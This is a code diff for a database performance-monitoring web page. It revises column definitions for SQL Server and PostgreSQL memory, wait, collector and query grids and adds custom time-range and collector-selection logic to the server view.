+  { key: "large_pages_allocated", label: "Large Pages", format: "int", group: "Allocation detail" },
+  { key: "emergency_memory_gb", label: "Emergency GB", format: "num1", group: "Allocation detail" },
+  { key: "emergency_memory_in_use_gb", label: "Emerg In Use GB", format: "num1", group: "Allocation detail" },
+  { key: "target_committed_gb", label: "Target Committed GB", format: "num1", group: "Allocation detail" },
+  { key: "current_committed_gb", label: "Current Committed GB", format: "num1", group: "Allocation detail" },
+  { key: "pages_allocated", label: "Pages Alloc", format: "int", group: "Allocation detail" },
+  { key: "pages_reserved", label: "Pages Reserved", format: "int", group: "Allocation detail" },
+  { key: "pages_free", label: "Pages Free", format: "int", group: "Allocation detail" },
+  { key: "pages_in_use", label: "Pages In Use", format: "int", group: "Allocation detail" },
+  { key: "page_alloc_potential", label: "Alloc Potential", format: "int", group: "Allocation detail" },
+  { key: "numa_growth_phase", label: "NUMA Growth", format: "int", group: "Allocation detail" },
+  { key: "last_oom_factor", label: "Last OOM Factor", group: "Allocation detail" },
+  { key: "last_os_error", label: "Last OS Error", format: "int", group: "Allocation detail" },
 ];
 
+/* Memory Conditions column groups: the report, the time and the OOM counters are always shown; the rest follow the
+   desktop grid's order in three toggles, with the process memory figures on at first. */
+const MEMORY_CONDITION_GROUPS = { groups: ["Process memory", "Pressure flags", "Allocation detail"], defaultGroups: ["Process memory"] };
+
 const MEMORY_BROKER_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "broker_id", label: "Broker ID", format: "int" },
   { key: "broker", label: "Broker" },
   { key: "notification", label: "Notification" },
-  { key: "memory_ratio", label: "Ratio", format: "num2" },
-  { key: "new_target", label: "New target", format: "int" },
-  { key: "currently_allocated", label: "Allocated", format: "int" },
-  { key: "previously_allocated", label: "Previously", format: "int" },
-  { key: "currently_predicated", label: "Predicated", format: "int" },
+  { key: "pool_metadata_id", label: "Pool Meta ID", format: "int" },
+  { key: "delta_time", label: "Delta Time", format: "int" },
+  { key: "memory_ratio", label: "Mem Ratio", format: "num2" },
+  { key: "new_target", label: "New Target", format: "int" },
+  { key: "overall", label: "Overall", format: "int" },
   { key: "rate", label: "Rate", format: "num2" },
+  { key: "currently_predicated", label: "Predicated", format: "int" },
+  { key: "currently_allocated", label: "Allocated", format: "int" },
+  { key: "previously_allocated", label: "Prev Allocated", format: "int" },
 ];
 
 /* #2484: the Significant Waits grid. Signal duration sits beside the total on purpose -- both are
    milliseconds, so they share a column format honestly, and a signal close to the total is CPU pressure
    wearing a wait type's name. The statement goes through codeDisclosure like every other SQL column. */
 const SIGNIFICANT_WAIT_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
+  { key: "event_time", label: "Event Time", format: "time" },
   { key: "wait_type", label: "Wait Type" },
-  { key: "duration_ms", label: "Duration", format: "ms" },
-  { key: "signal_duration_ms", label: "Signal", format: "ms" },
-  { key: "wait_resource", label: "Resource", wrap: true },
+  { key: "duration_ms", label: "Duration ms", format: "ms" },
+  { key: "signal_duration_ms", label: "Signal ms", format: "ms" },
+  { key: "wait_resource", label: "Wait Resource", wrap: true },
   { key: "session_id", label: "Session", format: "int" },
-  { key: "query_text", label: "Query", render: (r) => codeDisclosure(r.query_text) },
+  { key: "query_text", label: "Query", valueList: false, render: (r) => codeDisclosure(r.query_text) },
 ];
 
+/* The desktop grid's 28 columns in its order. */
 const MEMORY_OOM_COLUMNS = [
-  { key: "event_time", label: "Time", format: "time" },
-  { key: "memory_node_id", label: "Node", format: "int" },
-  { key: "memory_utilization_pct", label: "Utilization", format: "pct" },
-  { key: "failure_type", label: "Failure" },
-  { key: "failure_value", label: "Value", format: "int" },
-  { key: "available_physical_memory_kb", label: "Available", format: "int" },
-  { key: "committed_kb", label: "Committed", format: "int" },
-  { key: "target_kb", label: "Target", format: "int" },
-  { key: "resources", label: "Resources", wrap: true },
-  { key: "last_error", label: "Last error" },
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "node_id", label: "Node ID", format: "int" },
+  { key: "memory_node_id", label: "Mem Node ID", format: "int" },
+  { key: "memory_utilization_pct", label: "Mem Util %", format: "pct" },
+  { key: "total_physical_memory_kb", label: "Total Phys KB", format: "int", group: "Memory sizes" },
+  { key: "available_physical_memory_kb", label: "Avail Phys KB", format: "int", group: "Memory sizes" },
+  { key: "total_page_file_kb", label: "Total Page KB", format: "int", group: "Memory sizes" },
+  { key: "available_page_file_kb", label: "Avail Page KB", format: "int", group: "Memory sizes" },
+  { key: "total_virtual_address_space_kb", label: "Total VAS KB", format: "int", group: "Memory sizes" },
+  { key: "available_virtual_address_space_kb", label: "Avail VAS KB", format: "int", group: "Memory sizes" },
+  { key: "target_kb", label: "Target KB", format: "int", group: "Pool detail" },
+  { key: "reserved_kb", label: "Reserved KB", format: "int", group: "Pool detail" },
+  { key: "committed_kb", label: "Committed KB", format: "int", group: "Pool detail" },
+  { key: "shared_committed_kb", label: "Shared Committed KB", format: "int", group: "Pool detail" },
+  { key: "awe_kb", label: "AWE KB", format: "int", group: "Pool detail" },
+  { key: "pages_kb", label: "Pages KB", format: "int", group: "Pool detail" },
+  { key: "failure_type", label: "Failure", group: "Failure" },
+  { key: "failure_value", label: "Failure Val", format: "int", group: "Failure" },
+  { key: "resources", label: "Resources", wrap: true, group: "Failure" },
+  { key: "factor_text", label: "Factor", group: "Failure" },
+  { key: "factor_value", label: "Factor Val", format: "int", group: "Failure" },
+  { key: "last_error", label: "Last Error", group: "Failure" },
+  { key: "pool_metadata_id", label: "Pool Meta ID", format: "int", group: "Flags" },
+  { key: "is_process_in_job", label: "In Job", group: "Flags" },
+  { key: "is_system_physical_memory_high", label: "Sys Phys High", group: "Flags" },
+  { key: "is_system_physical_memory_low", label: "Sys Phys Low", group: "Flags" },
+  { key: "is_process_physical_memory_low", label: "Proc Phys Low", group: "Flags" },
+  { key: "is_process_virtual_memory_low", label: "Proc Virt Low", group: "Flags" },
 ];
 
-const DEFAULT_TRACE_COLUMNS = READ_FIELDS.get_default_trace_events.table.columns;
+/* Node OOM column groups: the event time, node ids and utilisation are always shown; the failure columns are on at
+   first and the size, pool and flag columns follow the desktop grid's order behind their toggles. */
+const MEMORY_OOM_GROUPS = { groups: ["Memory sizes", "Pool detail", "Failure", "Flags"], defaultGroups: ["Failure"] };
+
+const DEFAULT_TRACE_COLUMNS = [
+  { key: "event_time", label: "Event Time", format: "time" },
+  { key: "category", label: "Category" },
+  { key: "event_name", label: "Event" },
+  { key: "database_name", label: "Database" },
+  { key: "object_name", label: "Object" },
+  { key: "login_name", label: "Login" },
+  { key: "host_name", label: "Host" },
+  { key: "application_name", label: "Application" },
+  { key: "spid", label: "SPID", format: "int" },
+  { key: "duration_ms", label: "Duration ms", format: "ms" },
+  { key: "growth_mb", label: "Growth MB", format: "mb" },
+  { key: "severity", label: "Severity", format: "int" },
+  { key: "error_number", label: "Error #", format: "int" },
+  { key: "text_data", label: "Details", wrap: true },
+];
 
 /* #2484: the raw log's columns. The duration SPLIT is the reason this table earns its place beside the
    rollup -- total time cannot separate a collector that is slow because the monitored server is slow from
@@ -3416,6 +4799,65 @@ const COLLECTION_LOG_COLUMNS = [
   { key: "error_message", label: "Error", wrap: true },
 ];
 
+/* #5227: the collector picked on the Collectors panel, keyed by server at MODULE scope so the 60 s rebuild of the tab
+   keeps the choice. The Collection Log is drawn into a slot that redraws itself, so a pick re-requests only that read. */
+const collectorPick = new Map();
+const collectionLogRedraw = new Map();
+/* The desktop viewer shows a collector's last 7 days. */
+const COLLECTOR_HISTORY_HOURS = 168;
+
+/* One AbortController per server for the Collection Log slot: a new draw aborts the previous 168-hour read. */
+const collectionLogDraws = new Map();
+
+function selectionInside(node) {
+  const sel = typeof window !== "undefined" && window.getSelection ? window.getSelection() : null;
+  return !!sel && !sel.isCollapsed && String(sel).length > 0 && !!sel.anchorNode && node.contains(sel.anchorNode);
+}
+
+function pickCollector(server, collector) {
+  collectorPick.set(server, collector);
+  const redraw = collectionLogRedraw.get(server);
+  if (redraw) redraw();
+}
+
+function collectionLogPanel(server, ctx) {
+  const slot = el("div", {}, []);
+  slot.style.display = "contents";
+  const draw = () => {
+    const previous = collectionLogDraws.get(server);
+    if (previous) previous.abort();
+    const mine = new AbortController();
+    collectionLogDraws.set(server, mine);
+    const outer = getPanelSignal();
+    if (outer) outer.addEventListener("abort", () => mine.abort(), { once: true });
+    const picked = collectorPick.get(server);
+    const params = picked ? { server, hours: COLLECTOR_HISTORY_HOURS, limit: 200, collector_name: picked } : { server, hours: ctx.hours, limit: 200 };
+    const chip = picked
+      ? el(
+          "button",
+          { class: "chip", type: "button", title: "Show every collector again", onClick: () => { collectorPick.delete(server); draw(); } },
+          ["collector " + picked + " \u00d7"]
+        )
+      : null;
+    if (chip) Object.assign(chip.style, { gridColumn: "1 / -1", justifySelf: "start" });
+    setPanelSignal(mine.signal);
+    const logPanel = table(
+        "Collection Log",
+        "get_collection_log",
+        params,
+        "runs",
+        COLLECTION_LOG_COLUMNS,
+        picked ? "runs of " + picked + ", newest first, over the last 7 days" : "individual runs, newest first, over the selected window",
+        picked ? "No runs of " + picked + " in the last 7 days." : "No collector runs in the selected window."
+    );
+    setPanelSignal(outer);
+    mount(slot, [chip, logPanel]);
+  };
+  collectionLogRedraw.set(server, draw);
+  draw();
+  return slot;
+}
+
 const COLLECTOR_COLUMNS = [
   { key: "collector", label: "Collector" },
   { key: "status", label: "Status", statusSev: true },
@@ -3439,7 +4881,14 @@ const COLLECTOR_COLUMNS = [
   { key: "rows_stored", label: "Rows", format: "int" },
   { key: "runs_with_rows", label: "Runs w/ Rows", format: "int" },
   { key: "last_success", label: "Last Success", format: "time" },
-  { key: "last_error", label: "Last Error", wrap: true },
+  /* #4938: a daily collector's run time on the monitored server's clock, when it is next due (UTC, shown in local
+     time like Last Success), and the note a skipped day carries. The Heaviest Collectors table below ranks by cost
+     per minute, which puts a once-a-day collector last, so this is the table that lists every collector with a run
+     time. Each column is left out unless a row fills it, so a server with no run times shows none of them. */
+  { key: "run_at", label: "Run at", hideWhenEmpty: true },
+  { key: "next_run_utc", label: "Next run", format: "time", hideWhenEmpty: true },
+  { key: "run_time_note", label: "Run time", wrap: true, hideWhenEmpty: true },
+  { key: "last_error", label: "Last Error", wrap: true, plain: "named" },
   /* #1837: what a NON-failing run reported (an enumeration that came back with 0 items). Blank for a
      plainly healthy collector; the same column the two WPF grids carry, so the web view is not the one
      Collection Health surface that still hides it. note_summary, not the raw last_note: it carries the
@@ -3447,16 +4896,21 @@ const COLLECTOR_COLUMNS = [
      one, composed server-side from the shared formatter so this table cannot render it a third way.
      A collector's label=value counts read as its latest NOTED run's ("latest run:" only when every run
      carried them), never a window total. */
-  { key: "note_summary", label: "Note", wrap: true },
+  { key: "note_summary", label: "Note", wrap: true, plain: true },
   /* #3017: which of the two zero-output readings a collector that spent and stored nothing is — read and
      found nothing, or could not read. Blank whenever Rows is positive, for the same reason the Note
      column is blank on a plainly healthy collector. Composed server-side from the shared formatter, so
      this table cannot render the sentence a second way. */
-  { key: "output_finding", label: "Output", wrap: true },
+  { key: "output_finding", label: "Output", wrap: true, plain: true },
   /* #4620: why a collector that stopped doing what it used to do reads WARNING. The Status column already
      showed the floor, but no column showed the sentence behind it, so a regressed row read WARNING with
      every other cell blank. Composed server-side from the shared formatter, like the two columns above. */
-  { key: "regression_finding", label: "Regression", wrap: true },
+  { key: "regression_finding", label: "Regression", wrap: true, plain: true },
+  /* #5249: a PostgreSQL collector this server's engine does not collect (a collector this engine kind can never run: an Aurora-only reader on stock PostgreSQL, the sampler on Aurora) has no log row,
+     so the server lists it with status not_collected and the sentence saying why. The status paints with the
+     neutral Unknown band, not an error one: a gate is not a fault. Left out unless a row has a message, so a
+     server with no such collector (and every SQL Server tab) shows no column of dashes. */
+  { key: "message", label: "Why not collected", wrap: true, hideWhenEmpty: true, plain: true },
 ];
 
 const HEAVIEST_COLUMNS = [
@@ -3465,6 +4919,9 @@ const HEAVIEST_COLUMNS = [
   { key: "p95_duration_ms", label: "p95", format: "ms" },
   { key: "max_duration_ms", label: "Max", format: "ms" },
   { key: "frequency_minutes", label: "Every (min)", format: "num1" },
+  /* #4938: the collector's run time on the monitored server's clock, beside the cadence it runs on. Left out unless a
+     row has one, so a server with no run times shows no column of dashes. */
+  { key: "run_at", label: "Run at", hideWhenEmpty: true },
   { key: "amortized_ms_per_minute", label: "ms/min", format: "num1" },
   { key: "pct_of_sweep_budget_per_run", label: "% of sweep", format: "num1" },
 ];
@@ -3687,7 +5144,7 @@ const PG_DEADLOCK_COLUMNS = [
   { key: "participant_count", label: "Sessions", format: "int" },
   { key: "lock_modes", label: "Lock Modes" },
   { key: "resources", label: "Resources" },
-  { key: "victim_statement", label: "Victim Statement" },
+  { key: "victim_statement", label: "Victim Statement", valueList: false },
   { key: "times_seen", label: "Sightings", format: "int", small: true },
 ];
 
@@ -3700,7 +5157,7 @@ const PG_LOG_EVENT_COLUMNS = [
   { key: "sqlstate", label: "SQLSTATE", small: true },
   { key: "database_name", label: "Database" },
   { key: "user_name", label: "User" },
-  { key: "application_name", label: "Application" },
+  { key: "application_name", label: "App" },
   { key: "pid", label: "PID", format: "int", small: true },
   { key: "message", label: "Message" },
   { key: "detail", label: "Detail" },
@@ -3946,7 +5403,7 @@ const PG_TOP_QUERY_COLUMNS = [
   { key: "temp_blks_written", label: "Temp Blocks Written", format: "int" },
   { key: "wal_bytes", label: "WAL (bytes)", format: "int" },
   { key: "max_exec_peakmem_bytes", label: "Peak Mem (bytes)", format: "int" },
-  { key: "query_text", label: "Query", wrap: true, render: (row) => codeDisclosure(row.query_text) },
+  { key: "query_text", label: "Query", wrap: true, valueList: false, render: (row) => codeDisclosure(row.query_text) },
 ];
 
 const PG_BLOCKING_CHAIN_COLUMNS = [
@@ -3954,7 +5411,7 @@ const PG_BLOCKING_CHAIN_COLUMNS = [
   { key: "root_pid", label: "Root PID", format: "int" },
   { key: "databases", label: "Databases", render: (row) => listCell(row.databases) },
   { key: "root_username", label: "User" },
-  { key: "root_application", label: "Application", wrap: true },
+  { key: "root_application", label: "App", wrap: true },
   { key: "root_state", label: "Root State" },
   { key: "root_is_idle_in_transaction", label: "Idle in Txn", format: "bool" },
   { key: "root_xact_duration_ms", label: "Txn Age", render: sentinelDuration("root_xact_duration_ms") },
@@ -3965,7 +5422,7 @@ const PG_BLOCKING_CHAIN_COLUMNS = [
   /* Null here means "cannot tell how many samples this root appeared in", not one — the read carries the
      reason in samples_as_root_note, which is why this renders as "—" rather than as 1. */
   { key: "samples_as_root", label: "Samples as Root", format: "int" },
-  { key: "root_query", label: "Root Query", wrap: true, render: (row) => codeDisclosure(row.root_query) },
+  { key: "root_query", label: "Root Query", wrap: true, valueList: false, render: (row) => codeDisclosure(row.root_query) },
   { key: "recommended_action", label: "Action", wrap: true },
 ];
 
@@ -3974,7 +5431,7 @@ const PG_BLOCKING_CYCLE_COLUMNS = [
   { key: "participant_count", label: "Participants", format: "int" },
   { key: "pids", label: "PIDs", render: (row) => listCell(row.pids) },
   { key: "database", label: "Database" },
-  { key: "application", label: "Application", wrap: true },
+  { key: "application", label: "App", wrap: true },
   { key: "blocked_behind_count", label: "Queued Behind", format: "int" },
   { key: "blocked_behind_pids", label: "Queued PIDs", render: (row) => listCell(row.blocked_behind_pids) },
   { key: "finding", label: "Finding", wrap: true },
@@ -4156,7 +5613,7 @@ const PG_INDEX_USAGE_COLUMNS = [
   { key: "blocks_hit", label: "Blocks Hit", format: "int" },
   { key: "stats_were_reset_in_window", label: "Stats Reset", format: "bool" },
   { key: "sample_count", label: "Samples", format: "int" },
-  { key: "index_definition", label: "Definition", wrap: true },
+  { key: "index_definition", label: "Definition", wrap: true, valueList: false },
 ];
 
 /* peak_horizon_age is rendered rather than formatted, and that is the one non-negotiable cell on this grid:
@@ -4178,7 +5635,7 @@ const PG_SESSION_STATE_COLUMNS = [
   { key: "severity", label: "Severity", sevKey: "severity" },
   { key: "database", label: "Database" },
   { key: "username", label: "User" },
-  { key: "application_name", label: "Application" },
+  { key: "application_name", label: "App" },
   { key: "client_addr", label: "Client" },
   { key: "backend_type", label: "Backend Type" },
   { key: "last_state", label: "State" },
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js
index 6c8fac1edd..505b22125d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server.js
@@ -40,25 +40,59 @@
  *
  * The time range is the web twin of ViewerServerTab.TimeRange.cs's preset picker: one page-level window that
  * every time-windowed panel is given. It is module state (like the fleet page's sort), so it survives the
- * refresh — but it is NOT persisted to localStorage, because a page that reopens on a 30-day window is slow for
+ * refresh — but it is NOT persisted to localStorage, because a page that reopens on a 7-day window is slow for
  * a reason the reader cannot see. Panels whose read takes no window at all say "latest snapshot" in their own
  * subtitle rather than inheriting a label that would misdescribe them.
  */
 
-import { el, mount, apiGetFleet, bandClass, loadingStrip } from "../util.js";
+import { el, mount, apiGetFleet, bandClass, loadingStrip, noticeStrip, setActiveRange, setActiveDatabaseFilter, localTime } from "../util.js";
+import { getDatabaseFilter } from "../viewer-local.js";
+import { databaseFilterControl, databaseFilterUnavailable, closeDatabaseFilter } from "./database-filter.js";
 import { setPanelSignal } from "../panels.js";
-import { serverTabsFor, findServerTab, tabNote } from "./server-tabs.js";
+import { serverTabsFor, isPostgresTarget, findServerTab, tabNote } from "./server-tabs.js";
 import { metricBands } from "./fleet.js";
+import { timeRangePicker, DEFAULT_REACH_HOURS } from "../time-range-picker.js";
+import { serverCatalog, collectorIntervalFromCatalog, readsReachHours, offerReach } from "../page-range.js";
+import { browserZone, resolveSpec, relativeSpec, fixedSpec, specName, wholeHours, readWindow, reachText, ROLLING_PRESETS, MINIMUM_SPAN_MS } from "../time-range.js";
 
-/** The page time range. Mirrors the desktop viewer's presets, plus the two longer windows the view chrome uses. */
-const RANGE_OPTIONS = [
-  { hours: 1, label: "last hour" },
-  { hours: 4, label: "last 4 hours" },
-  { hours: 12, label: "last 12 hours" },
-  { hours: 24, label: "last 24 hours" },
-  { hours: 24 * 7, label: "last 7 days" },
-  { hours: 24 * 30, label: "last 30 days" },
-];
+/* How far back the tab on screen reaches (#5562 review r1 M4, ruling R2). Each tab lists the windowed reads it makes (`reachReads` in
+   server-tabs.js: names, never hours), and its reach is the smallest `max_hours` the catalog gives them (tabReach below), so a tab
+   made of reads that take 30 days offers 30 days, and a tab that also shows a list that takes 7 stays at 7. A read with no catalog
+   row, a tab that lists none and a catalog that cannot be read all give the common DEFAULT_REACH_HOURS (168): the page never offers
+   a range a read has not said it takes. The picker greys out a longer range and says why, and a range carried over from a tab that
+   reads further is read at this tab's reach with a notice saying so (reachNoteText), never silently (#2802 did the same per panel).
+   WebServerPageRangeTests runs every offered range through every tab of both registries. */
+
+/** The short presets that are a whole number of hours: the ranges the reads take as `hours` alone, with no trimming. Every other
+ *  range (30 minutes, Yesterday, 2 days 3 hours, a typed pair) is fetched as whole hours back from its end and trimmed to the exact
+ *  pair, the custom path below. A tab takes the ones within its own reach. */
+const RANGE_OPTIONS = ROLLING_PRESETS.map((spec) => wholeHours(spec))
+  .filter((hours) => hours != null)
+  .map((hours) => rangeOption(hours));
+
+function rangeOption(hours) {
+  return { hours, label: hours === 1 ? "last hour" : hours > 24 && hours % 24 === 0 ? "last " + hours / 24 + " days" : "last " + hours + " hours" };
+}
+
+/* The catalog each server answered with, or null where it could not be read: the answer, not the promise, so a tab's reach is a plain
+   function (tabReach) that holds until the catalog is known. The reads' reach belongs to the read, not the server, so one answer per
+   server is enough for the page's life. A catalog that could not be read is not kept: the next tab or range change asks again. */
+const catalogsRead = new Map();
+/* Servers whose catalog could not be read when a wide range waited for it: they read at the common reach, and do not wait again. */
+const catalogGaveUp = new Set();
+/* The servers whose catalog is being read for the panels' wait below: one wait and one redraw per server, whatever redraws meanwhile
+   (#5562 review r2 L2). */
+const catalogWaits = new Set();
+
+/** How far back a tab's reads all reach, in hours (the smallest catalog `max_hours` among its `reachReads`). */
+function tabReach(tab = current.tab, server = current.server) {
+  return readsReachHours(server ? catalogsRead.get(server) : null, tab && tab.reachReads);
+}
+
+/** The refusal for a span past the tab's reach, or null. */
+function tabReachRefusal(spanMs, reach = tabReach()) {
+  return spanMs > reach * HOUR_MS ? "This tab reads up to " + reachText(reach) + "." : null;
+}
 
 /* Module state, deliberately not persisted — see the header comment. `gridNode` + the current server/tab let the
    range control redraw only the panels, so changing the window does not flash the header or refetch /api/fleet. */
@@ -94,12 +128,122 @@ let panelAbort = null;
    matches on), module-scoped like pageHours, and bounded by the number of servers visited in one session. */
 const lastCard = new Map();
 
-/** The {hours,label} context every tab build() is given. */
-function rangeContext() {
-  const opt = RANGE_OPTIONS.find((o) => o.hours === pageHours) || RANGE_OPTIONS[3];
+/* The range the reader picked that is not one of RANGE_OPTIONS, keyed by server (module scope, so the 60s poll's rebuild keeps it and
+   another server starts on the presets). Each value is `{ spec, live }`: the range as the picker names it (a length, a calendar
+   period, a typed pair) and whether its end slides with now. A LIVE range keeps its meaning and slides to end at "now" on every
+   rebuild, so the poll keeps refreshing it. Any other end is a fixed historical window: its data cannot change, so the poll leaves
+   the panels on screen instead of reading the same hours again. */
+const customRanges = new Map();
+const LIVE_SLACK_MS = 60000;
+const HOUR_MS = 3600000;
+
+/**
+ * Check a picked start and end and map them onto the reads' window (an end, `as_of`, and a whole number of `hours`).
+ * The start rounds EARLIER to a whole hour for the fetch (`hours` is an integer of at least 1); the page trims what comes
+ * back to the exact pair, so a range of 15 minutes is fetched as the hour that holds it. Returns `{ error }` for an unusable
+ * pair (under 5 minutes, reversed, in the future, past the reach), else `{ hours, asOf, live, startMs, endMs }`; `asOf`
+ * is null for a live range, whose reads are anchored at the server's own clock.
+ */
+export function resolveCustomRange(startMs, endMs, nowMs, reach = tabReach()) {
+  if (!Number.isFinite(startMs) || !Number.isFinite(endMs)) return { error: "Enter both a start and an end." };
+  if (endMs <= startMs) return { error: "The end must be after the start." };
+  if (endMs > nowMs + LIVE_SLACK_MS) return { error: "The end cannot be in the future." };
+  const span = endMs - startMs;
+  if (span < MINIMUM_SPAN_MS) return { error: "The shortest range is 5 minutes. Drag across a chart to look at a shorter span." };
+  const tooLong = tabReachRefusal(span, reach);
+  if (tooLong) return { error: tooLong };
+  const live = endMs >= nowMs - LIVE_SLACK_MS;
+  return { hours: Math.max(1, Math.ceil(span / HOUR_MS)), asOf: live ? null : new Date(endMs).toISOString(), live, startMs, endMs };
+}
+
+/** Hold a picked range for a server: a whole-hour preset is the page's own range (the reads take it as `hours` alone), anything
+ *  else is this server's custom range. Returns the error text when the range cannot be held, else null. */
+function holdSpec(server, spec, nowMs) {
+  const resolved = resolveSpec(spec, nowMs, browserZone());
+  if (!resolved.ok) return resolved.error.message;
+  const tooLong = tabReachRefusal(resolved.range.spanMs);
+  if (tooLong) return tooLong;
+  const hours = wholeHours(spec);
+  if (hours != null && RANGE_OPTIONS.some((o) => o.hours === hours)) {
+    customRanges.delete(server);
+    pageHours = hours;
+  } else {
+    customRanges.set(server, { spec, live: resolved.range.live || resolved.range.endMs >= nowMs });
+  }
+  return null;
+}
+
+/** Apply a custom range to a server and redraw. Returns the error text, or null when the range was taken. `redraw: false`
+ *  is for a caller that rebuilds the page itself (the chart menu's "at This Time" items route to a tab, #5230): a panel
+ *  redraw would leave the range picker in the page head on the old preset, and from another tab it would start a batch
+ *  of reads that the route change then aborts. */
+export function applyCustomRange(server, startMs, endMs, nowMs = Date.now(), { redraw = true } = {}) {
+  const r = resolveCustomRange(startMs, endMs, nowMs);
+  if (r.error) return r.error;
+  /* A range that ends now keeps its width and slides; any other end is a fixed pair. */
+  customRanges.set(server, { spec: r.live ? relativeSpec(endMs - startMs) : fixedSpec(startMs, endMs), live: r.live });
+  if (redraw) redrawPanels();
+  return null;
+}
+
+/** The {hours,label} context every tab build() is given. A custom range also hands the util module its exact pair, so
+ *  every read of this server inside it is anchored and trimmed there. */
+export function rangeContext(nowMs = Date.now()) {
+  const custom = current.server ? customRanges.get(current.server) : null;
+  const reach = tabReach();
+  if (custom) {
+    const resolved = resolveSpec(custom.spec, nowMs, browserZone());
+    if (resolved.ok) {
+      /* A range carried over from a tab that reads further is read at THIS tab's reach: the last stretch of it, ending where it ends.
+         The range stays held (the next tab may take all of it), and reachNoteText says what happened (#5562 review r1 M4). */
+      const cut = tabReachRefusal(resolved.range.spanMs, reach) != null;
+      const range = cut ? { ...resolved.range, startMs: resolved.range.endMs - reach * HOUR_MS, spanMs: reach * HOUR_MS } : resolved.range;
+      const w = readWindow(range, nowMs);
+      setActiveRange({ server: current.server, hours: w.hours, startMs: range.startMs, endMs: range.endMs, asOf: w.asOf });
+      /* Totals and rankings are read over whole hours back from the end, so they can begin earlier than the picked start:
+         when the span is not a whole number of hours the label says where they begin. */
+      const aggregateFrom = w.endMs - w.hours * HOUR_MS;
+      const rounded = aggregateFrom < range.startMs ? "; totals and rankings aggregate from " + localTime(new Date(aggregateFrom).toISOString()) : "";
+      const times = localTime(new Date(range.startMs).toISOString()) + " to " + (range.live ? "now" : localTime(new Date(range.endMs).toISOString()));
+      const picked = custom.spec.kind === "relative" || custom.spec.kind === "calendar" ? specName(custom.spec).toLowerCase() : "custom";
+      const named = cut ? "last " + reachText(reach) + " of " + picked : picked;
+      return { hours: w.hours, label: named + ": " + times + rounded, custom: true };
+    }
+  }
+  setActiveRange(null);
+  /* A held preset longer than this tab reads is read at the tab's reach (reachNoteText says so). */
+  const held = RANGE_OPTIONS.find((o) => o.hours === pageHours) || RANGE_OPTIONS.find((o) => o.hours === 24) || RANGE_OPTIONS[0];
+  const opt = held.hours > reach ? rangeOption(reach) : held;
+  /* A held range that cannot resolve right now (a calendar period that ends at or before its start, Today at exactly midnight, R9) is
+     kept, not dropped: the label says so and names the window shown instead, and the range reads again once it can (#5562 review r1 L3). */
+  if (custom) {
+    const unresolved = resolveSpec(custom.spec, nowMs, browserZone());
+    if (!unresolved.ok) return { hours: opt.hours, label: specName(custom.spec).toLowerCase() + " cannot be read yet (" + unresolved.error.message + "); showing " + opt.label };
+  }
   return { hours: opt.hours, label: opt.label };
 }
 
+/** The sentence for a range the reader picked that is longer than the tab on screen reads, or null when the tab takes all of it. The
+ *  tab reads its own reach instead, so the page says so beside the panels, never silently (#5562 review r1 M4, ruling R2). */
+export function reachNoteText(nowMs = Date.now()) {
+  const reach = tabReach();
+  const custom = current.server ? customRanges.get(current.server) : null;
+  let spanMs = pageHours * HOUR_MS;
+  let picked = rangeOption(pageHours).label;
+  const resolved = custom ? resolveSpec(custom.spec, nowMs, browserZone()) : null;
+  if (resolved && resolved.ok) {
+    spanMs = resolved.range.spanMs;
+    picked = custom.spec.kind === "relative" || custom.spec.kind === "calendar" ? specName(custom.spec).toLowerCase() : "custom range";
+  }
+  if (tabReachRefusal(spanMs, reach) == null) return null;
+  return "The range you picked (" + picked + ") is longer than this tab reads. This tab reads up to " + reachText(reach) + ", so it shows the last " + reachText(reach) + " of that range.";
+}
+
+/* Set when the poll ticks over a fixed custom range: the panels the previous render drew stay on screen (see
+   renderServer). `gridKey` names the server and tab that grid shows. */
+let keepGrid = false;
+let gridKey = "";
+
 /**
  * @param {object} [opts] — `{ poll: true }` when this call is the 60s poll's own refresh (app.js's refresh(),
  * threaded through route()), as opposed to a sub-tab click / deep link (hashchange) or the first paint. Only
@@ -108,7 +252,14 @@ function rangeContext() {
  */
 export function renderServer(main, server, tabId, opts) {
   const isPoll = !!(opts && opts.poll === true);
+  /* A tab click, another server or a deep link closes the Databases popover (W9); only the poll's rebuild keeps it open. */
+  if (!isPoll) closeDatabaseFilter();
   const generation = ++renderGeneration;
+  const custom = customRanges.get(server);
+  /* A fixed custom range cannot change under the poll, so the poll keeps the panels it already drew (same server, same
+     tab) instead of reading the same hours again. The Refresh button passes `manual: true`: a click asks for a re-read, so it rebuilds even then. A live range, a preset and a tab or server click rebuild as before. */
+  const keep = isPoll && !(opts && opts.manual === true) && !!custom && !custom.live && !!gridNode && gridKey === server + "|" + (tabId || "");
+  keepGrid = false;
   current = { server, tab: null };
 
   const dot = el("span", { class: "dot" });
@@ -117,6 +268,9 @@ export function renderServer(main, server, tabId, opts) {
   const badgeSlot = el("span", { class: "server-band" });
   const engineSlot = el("span", { class: "server-engine" });
   const whySlot = el("div", { class: "server-why" });
+  /* The database filter's button (#5245): placed once the card is known, because the card says which engine this is and which
+     id the choice is stored under. */
+  const dbSlot = el("span", { class: "db-filter-slot" });
   const head = el("div", { class: "page-head" }, [
     el("a", { href: "#/fleet", text: "← Fleet" }),
     el("span", { class: "server-title" }, [dot, title]),
@@ -124,12 +278,15 @@ export function renderServer(main, server, tabId, opts) {
     engineSlot,
     el("div", { class: "spacer" }),
     rangeControl(),
+    dbSlot,
   ]);
 
   /* The bar and the note share one slot because both are decided by the same card. */
   const tabsSlot = el("div", { class: "subtabs-slot" }, [loadingStrip()]);
-  gridNode = el("div", { class: "panel-grid" });
-  mount(main, [head, whySlot, tabsSlot, gridNode]);
+  /* The notice for a carried-over range this tab reads only part of (reachNoteText), between the tab bar and the panels. */
+  reachSlot = el("div", { class: "reach-note-slot" });
+  if (!keep) gridNode = el("div", { class: "panel-grid" });
+  mount(main, [head, whySlot, tabsSlot, reachSlot, gridNode]);
 
   /* Seen this server before? Then its engine is already known and the page paints now — no loading strip, and
      the tab's panels start fetching in this tick, which is what keeps the 60s poll and a sub-tab click feeling
@@ -138,7 +295,8 @@ export function renderServer(main, server, tabId, opts) {
   let painted = null;
